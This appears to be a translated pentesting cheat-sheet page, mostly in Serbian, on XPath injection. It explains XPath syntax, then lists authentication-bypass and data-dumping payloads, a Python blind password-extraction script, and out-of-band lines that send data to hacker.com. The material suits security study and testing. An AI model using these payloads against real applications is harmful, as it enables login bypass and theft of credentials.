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325 lines
13 KiB
Markdown
# XPATH injection
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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## Basic Syntax
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Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa za upit ili navigaciju XML dokumentima.
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### Nodes Described
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Izrazi se koriste za selektovanje različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sažeti u nastavku:
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* **nodename**: Svi čvorovi sa imenom "nodename" su selektovani.
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* **/**: Selekcija se vrši iz korenskog čvora.
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* **//**: Čvorovi koji odgovaraju selekciji iz trenutnog čvora su selektovani, bez obzira na njihovu lokaciju u dokumentu.
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* **.**: Trenutni čvor je selektovan.
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* **..**: Roditelj trenutnog čvora je selektovan.
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* **@**: Atributi su selektovani.
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### XPath Examples
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Primeri putanjskih izraza i njihovih rezultata uključuju:
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* **bookstore**: Svi čvorovi nazvani "bookstore" su selektovani.
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* **/bookstore**: Korenski element bookstore je selektovan. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
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* **bookstore/book**: Svi elementi knjiga koji su deca bookstore su selektovani.
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* **//book**: Svi elementi knjiga u dokumentu su selektovani, bez obzira na njihovu lokaciju.
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* **bookstore//book**: Svi elementi knjiga koji su potomci elementa bookstore su selektovani, bez obzira na njihovu poziciju pod elementom bookstore.
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* **//@lang**: Svi atributi nazvani lang su selektovani.
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### Utilization of Predicates
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Predikati se koriste za preciziranje selekcija:
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* **/bookstore/book\[1]**: Prvi element knjige kao dete elementa bookstore je selektovan. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
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* **/bookstore/book\[last()]**: Poslednji element knjige kao dete elementa bookstore je selektovan.
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* **/bookstore/book\[last()-1]**: Pretposlednji element knjige kao dete elementa bookstore je selektovan.
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* **/bookstore/book\[position()<3]**: Prva dva elementa knjiga kao deca elementa bookstore su selektovana.
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* **//title\[@lang]**: Svi elementi naslova sa atributom lang su selektovani.
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* **//title\[@lang='en']**: Svi elementi naslova sa vrednošću atributa "lang" koja je "en" su selektovani.
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* **/bookstore/book\[price>35.00]**: Svi elementi knjiga iz bookstore sa cenom većom od 35.00 su selektovani.
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* **/bookstore/book\[price>35.00]/title**: Svi elementi naslova elemenata knjiga iz bookstore sa cenom većom od 35.00 su selektovani.
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### Handling of Unknown Nodes
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Džokeri se koriste za usklađivanje nepoznatih čvorova:
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* **\***: Usklađuje se sa bilo kojim element čvorom.
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* **@**\*: Usklađuje se sa bilo kojim atribut čvorom.
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* **node()**: Usklađuje se sa bilo kojim čvorom bilo koje vrste.
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Dalji primeri uključuju:
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* **/bookstore/\***: Selektuje sve čvorove elemenata dece elementa bookstore.
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* **//\***: Selektuje sve elemente u dokumentu.
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* **//title\[@\*]**: Selektuje sve elemente naslova sa najmanje jednim atributom bilo koje vrste.
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## Example
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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</user>
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</data>
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```
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### Pristupite informacijama
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```
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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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```
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### Identifikacija i krađa šeme
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```python
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and count(/*) = 1 #root
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and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
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and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
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and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
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and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
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and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
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and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
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and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
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and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
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#The previous solutions are the representation of a schema like the following
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#(at this stage we don't know the name of the tags, but jus the schema)
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<root>
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<a>
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<b></b>
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</a>
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<c>
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<d></d>
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<e></e>
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<f>
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<h></h>
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</f>
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</c>
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</root>
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and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
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and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
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and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
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#Stealing the schema via OOB
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doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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```
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## Authentication Bypass
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### **Primer upita:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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```
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### **OR zaobići u korisniku i lozinki (ista vrednost u oba)**
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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```
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### **Zloupotreba null injekcije**
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```
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Username: ' or 1]%00
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```
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### **Dupli OR u korisničkom imenu ili u lozinki** (važi samo za 1 ranjivo polje)
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VAŽNO: Obratite pažnju da je **"and" prva operacija koja se izvršava**.
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```
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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admin' or '1'='2
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string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
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```
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## String extraction
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Izlaz sadrži stringove i korisnik može manipulisati vrednostima za pretragu:
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```
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/user/username[contains(., '+VALUE+')]
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```
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```
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') or 1=1 or (' #Get all names
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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') or 2=1] | //user/node()[('')=(' #Get all values
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')] | //./node()[('')=(' #Get all values
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')] | //node()[('')=(' #Get all values
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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')] | //password%00 #All names and passwords (abusing null injection)
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')]/../*[3][text()!=(' #All the passwords
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')] | //user/*[1] | a[(' #The ID of all users
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')] | //user/*[2] | a[(' #The name of all users
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')] | //user/*[3] | a[(' #The password of all users
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')] | //user/*[4] | a[(' #The account of all users
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```
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## Blind Explotation
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### **Dobijanje dužine vrednosti i njeno izdvajanje poređenjem:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
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' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **Python Primer**
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```python
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import requests, string
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flag = ""
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l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
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r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
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if ("TRUE_COND" in r.text):
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l = i
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break
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print("[+] Password length: " + str(l))
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for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
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for al in alphabet:
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r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
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if ("TRUE_COND" in r.text):
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flag += al
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print("[+] Flag: " + flag)
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break
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```
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### Čitaj fajl
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```python
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(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
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```
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## OOB Eksploatacija
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```python
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doc(concat("http://hacker.com/oob/", RESULTS))
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doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
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doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
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#Instead of doc() you can use the function doc-available
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doc-available(concat("http://hacker.com/oob/", RESULTS))
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#the doc available will respond true or false depending if the doc exists,
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#user not(doc-available(...)) to invert the result if you need to
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```
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### Automatski alat
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* [xcat](https://xcat.readthedocs.io/)
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* [xxxpwn](https://github.com/feakk/xxxpwn)
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* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
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* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
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* [XmlChor](https://github.com/Harshal35/XMLCHOR)
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## Reference
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
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* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
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Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
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**Najnovija Obaveštenja**\
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Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
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{% hint style="success" %}
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Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Podržite HackTricks</summary>
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* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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{% endhint %}
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